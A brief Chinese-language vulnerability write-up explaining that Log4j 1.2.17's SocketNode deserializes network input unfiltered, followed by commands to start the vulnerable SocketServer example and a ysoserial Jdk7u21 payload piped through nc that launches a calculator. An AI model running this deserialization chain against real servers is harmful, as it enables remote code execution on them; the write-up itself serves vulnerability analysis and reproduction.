org.apache.log4j.net.SocketNode类在实现Runnable接口的run方法时,未对输入做过滤,直接读取流中的对象,特定条件下可被利用,存在远程代码执行的风险。

可以看到,直接就ReadObject了,啥过滤也没做,也没校验。
如果结合其他序列化漏洞,比如Jdk7u21,就可以远程代码执行。
用java version “1.7.0_05” 启动Log4j中的example服务:
$ java -cp log4j-1.2.17.jar org.apache.log4j.net.SocketServer 1234 examples/lf5/InitUsingLog4JProperties/log4j.properties ../
结合ysoserial可以利用:
$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 “gnome-calculator” | nc localhost 1234
